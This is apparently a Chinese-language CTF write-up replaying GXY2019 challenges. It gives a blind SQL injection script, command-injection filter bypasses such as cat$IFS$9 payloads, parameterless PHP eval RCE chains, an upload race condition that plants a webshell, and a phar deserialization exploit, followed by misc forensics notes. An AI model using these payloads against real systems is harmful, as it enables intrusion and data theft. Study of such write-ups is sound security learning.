[复现]GXY2019
前言
当时GXY的时候在复习中,临时抱拂脚,没时间打比赛。就写了一题。/(ㄒoㄒ)/~~
babysqli
当时做了写了笔记。
过滤了or,()其中or可以用大小写绕过,可以用order by盲注
第一列应该是id,第二列是用户名,第三列是密码
当提示wrong pass,说明第一行是正确的账户密码取出来比对错误
当提示wrong user,说明第一行不是admin用户,此时输入的字符串第一位比md5哈希后的密码第一位小
import requests url='http://183.129.189.60:10001/search.php' payload="admin'union select 1,2,0x43444339433831394337463842453236323844343138303636{} oRder by 3 #" #payload="union_373_Tom' union select 1,2,0x{} order by 3,2,'1" flag='' s = requests.session() s.keep_alive = False //关闭多余连接 for i in range(10): for j in range(33,127): data={"name":payload.format((flag+chr(j)).encode('hex')),"pw":'123'} lihuaiqiu=s.post(url,data=data) #print lihuaiqiu.text if "wrong pass" in lihuaiqiu.text: flag+=chr(j-1) print flag break
跑两段跑出来hash CDC9C819C7F8BE2628D4180669009D27
但是解密不出,队友告诉是我像实验吧的一道逻辑问题。主要是这两处提示
base32解码,转base64,解码
所以判断逻辑是通过username然后对比md5(password)这样,就会存在逻辑问题。相同题目如实验吧逻辑问题
https://blog.csdn.net/dongyanwen6036/article/details/77768345
第一个payload是直接作为admin, md5(yunyingc)
第二个payload是用order by注入倒叙,因为哈希是C开头的。所以倒叙就是我们自己设置的md5了
Ping Ping Ping
考察命令执行的bypass
看回显可能是过滤了空格和符号
通过fuzz发现{}估计是被过滤了,但是代替空格的$IFS$9还可以用
读取flag.php未果,估计过滤了字符。可以读index.php
<?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); } ?>
过滤了很多符号。将我们记录的小本本拿出来,找找姿势。
因为这里没有过滤$,所以我们依然可以用变量替换执行来bypass
这里的正则方式是.*f.*l.*a.*g.*,因此不能出现flag,但其实不然,只是顺序无须如此。我们可以改变顺序来变量替换。
比如:
a1=.php;a2=g;a3=a;a4=l;a5=f;a6=$a5$a4$a3$a2$a1;cat$IFS$9$a6
这样的顺序,当执行时,才会按逆序排成flag字符
再去找找WP,看看别的师傅的姿势。
payload1:
tac$IFS$9f`echo$IFS$9$PATH|cut$IFS$9-c6`ag.php
来自https://blog.csdn.net/Pdsdt1/article/details/103663334
通过环境变量PATH结合cut -c获得单个字符l,拼接成flag.php
payload2:
?ip=;cat$IFSls;
来自https://blog.csdn.net/ChenZIDu/article/details/103937649
emmmmm,这也行?学到了学到了。
顺便去补充下自己的小本本。
禁止套娃
今天醒来,发现科比去世了。接二连三的打击。想着想着,悲伤又难过。或者不该。爱情也好,一通电话后,说散就散了吧,才发现原来自己不算什么,没有什么优点值得喜欢。加油(ง •_•)ง,努力去挣脱
只有两个页面,index.php和flag.php,随手测试了下,当路径是不存在的时候仍然回到主页面。加了个.git出现403。
用githack拉下来了index.php
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
这种套娃题(无参数RCE),在ByteCTF和上海CTF中已经见过几次了。套路很多。参照我以前的文章:yunying
这里方法很多,没有过滤啥。这里我用的是crypt(serialize(array()))
查看当前目录,多尝试几次,直到出现.
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
发现flag.php不在末尾,无法用end等直接读flag.php。目的是把flag.php放在最后,或者第一个或者第二个。
寻找下数组反转的函数:https://www.w3school.com.cn/php/php_ref_array.asp
可以使用array_reverse()函数反转字符串
print_r(array_reverse(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
这样的话就可以用next读
readfile(next(array_reverse(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
babyupload
很干净的前端,随便fuzz下网页看能不能找到别的。
不存在flag.php,应该是需要上传getshell,读取/flag的
传个小马看看,禁止了ph,大小写无法绕过
随便传个jpg
= =没看懂啥意思。再传一个一句话jpg
修改下风格就行了,可以发现这样的jpg可以上传,但是之前的普通的jpg不行。应该是限制了图片大小。
这么看,不就是像suctf那个题目嘛,这次是apache,改成.htaccess解析就可以了
还是不行,不是通过exif_imagetype()判断的嘛?将其改为.jpg,burp在修改为.htaccess
这里我直接修改了Content-Type尝试,成功上传
但是去访问路径的时候访问不到。。。就很奇怪,不知道题目是不是有问题还是啥我没get到。去看了下WP,发现确实就是会删,需要条件竞争去解析。
于是用burp启动两个intruder
尝试执行命令
多试几次就出来了
查看根目录
发现system('cat /flag');不行,一片空白,看一下phpinfo
改用php文件IO函数
去看了下源码
确实是通过content-type去判断的,而不是exif_imagetype函数,并且规定了大小2048
babysqli2.0
宽字节注入,buu没复现环境
babysqli3.0
提示里有一个u9db8
通过admin发现有这个账户,显示wrong password
brup卡了5分钟,因为弱口令字典payload太多。。结果第一个就是
0
进入home.php页面
题目说当前引用的是upload.php,应该是文件包含
获得home.php源码
<?php session_start(); echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>"; error_reporting(0); if(isset($_SESSION['user'])){ if(isset($_GET['file'])){ if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){ die("hacker!"); } else{ if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){ $file = $_GET['file'].".php"; } else{ $file = $_GET['file'].".fxxkyou!"; } echo "当前引用的是 ".$file; require $file; } } else{ die("no permission!"); } }
upload.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form action="" method="post" enctype="multipart/form-data"> 上传文件 <input type="file" name="file" /> <input type="submit" name="submit" value="上传" /> </form> <?php error_reporting(0); class Uploader{ public $Filename; public $cmd; public $token; function __construct(){ $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $ext = ".txt"; @mkdir($sandbox, 0777, true); if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; } $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';"; $this->token = $_SESSION['user']; } function upload($file){ global $sandbox; global $ext; if(preg_match("[^a-z0-9]", $this->Filename)){ $this->cmd = "die('illegal filename!');"; } else{ if($file['size'] > 1024){ $this->cmd = "die('you are too big (′▽`〃)');"; } else{ $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; } } } function __toString(){ global $sandbox; global $ext; // return $sandbox.$this->Filename.$ext; return $this->Filename; } function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } eval($this->cmd); } } if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); } } ?>
很明显的phar反序列化构造。
发现这里会 echo文件内容。而且home.php中拦截flag字符串,也就是不能直接拼接成flag.php。意思就是flag文件是flag.php
但是这里有个传name的操作,虽然过滤了.,但是这里好像多了一个空格。导致没有限制好
那如果随便上传个东西,但是通过传name,将name设置为flag.php不就行了嘛
这个应该是非预期解。
因为上面这个非预期的操作,可把我整死了。浪费了大半天,读不到flag.php,一直返回asdfsdf。因为现在的flag.php已经被覆盖了,因为move_uploaded_file的缘故被替换成了我上传的txt内容。所以自己把自己搅屎了,因此不能继续预期解法,重开一下题目。呢么为什么这次能读到flag,而下一次就读不到了呢?因为析构函数是最后才执行,他先直接file_get_contents然后,再执行析构函数,调用cmd命令,重命名成flag.php并且覆盖了原flag.php
预期解应该是执行eval($this->cmd)命令,读取flag.php
通过file_get_contents($uploader)这里,触发phar反序列化。所以这里构造的phar序列化链非常的简单。只要满足$this->token与$_SESSION['user']相同就行。因为我们随便上传一个东西,就返回$_SESSION['user']的值
获取$_SESSION['user'] =>GXY261c07c484f20daaaf4c3b6d9a8edb2e
上传phar.phar,重置名字为haha.jpg
再随便上传一个东西,指定name=phar:///var/www/html/haha.jpg,获取flag
然后看到Ying师傅还有一种非预期解,就是直接getshell,一句话木马。确实,因为直接传上去的,传到/var/www/html里都可以,没有做好过滤的话。
所以这道题?过滤了.的话,就不能指定phar://xxxx.xx了,phar://反序列化的话又不能直接不带.后缀的,会认为是二进制文件。那要是不过滤.的话,就造成了这两种非预期解。我觉得这里应该过滤的是.php,即不能指定flag.php,也就不能一句话木马上去了,并且要过滤.htaccess或者.user.ini,不然依然可以把上传的图片解析成马儿。我觉得这道题过滤需要考虑的比较周到。
StrongestMind
进入页面是计算器的形式
用dirsearch也没有扫到东西, burp也没有抓到什么东西,意思真就1000一次?,那就来试试吧。
因为只有+ -但是中间有空格需要注意
import requests import re import time reexpression=re.compile('<br>(\d+ [+-] \d+)<br>') url='http://45a349c0-d321-414b-8ab4-0029e41ce565.node3.buuoj.cn/index.php' session_keep=requests.session() response=session_keep.get(url) response.encoding='utf-8' print(response.text) response_true=reexpression.findall(response.text) data={"answer":eval(''.join(response_true))} response2=session_keep.post(url=url,data=data) response2.encoding='utf-8' for i in range(1000): response_true=reexpression.findall(response2.text) response2=session_keep.post(url=url,data={"answer":eval(''.join(response_true))}) response2.encoding='utf-8' print(response2.text) time.sleep(0.1)
我觉得我的代码可看性有点差啊,感觉没必要这么标识变量名
明明1001次成功才给flag,要是有人被坑了岂不是很难受,得重跑一遍。
Do you know robots
去看了下还有一道题,反序列化比较简单,这里不上了。
[MISC]佛系青年
学习MISC
压缩包里有一个png一个加密的txt
010editor查看zip,百度了下是不是伪加密 东西
https://blog.csdn.net/qq_26187985/article/details/83654197
我们查看fo.txt压缩原文件目录区
发现是全局方式位标记是09,奇数,改成00
也可以ZipCenOp这个工具,有时候不行有时候行。
[MISC]SXMgdGhpcyBiYXNlPw==
标题解密
压缩包里flag.txt中都是base64的东西
base64隐写
https://www.jianshu.com/p/f1f4e10ad10e
[MISC]gakki
新恒结衣
拖入010editor
发现数据太多了,不应该是一张简单的图片,拉入kali中,foremost一下
得到一个rar包
尝试对rar爆破密码,用ARCHPR爆破
得到8864密码解压出flag.txt,一堆乱七八糟的字符,尝试词频分析,qiuqiu网站api失效
这里因为词频分析网站失效了。我就看了WP,用EXP中给的
语料库在线--字词频统计网站依旧失效。
于是用EXP的cout.py统计
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+-={}[]" f = open("C:\\Users\\dell\\Desktop\\00000268\\flag.txt", "r") data = f.read() result = {d:0 for d in alphabet} def sort_by_value(d): items = d.items() backitems = [[v[1],v[0]] for v in items] backitems.sort(reverse=True) return [ backitems[i][1] for i in range(0,len(backitems))] # while data: for d in data: for alpha in alphabet: if d == alpha: result[alpha] = result[alpha] + 1 # data = f.readline() print(sort_by_value(result)) print(''.join(sort_by_value(result)))
得到flag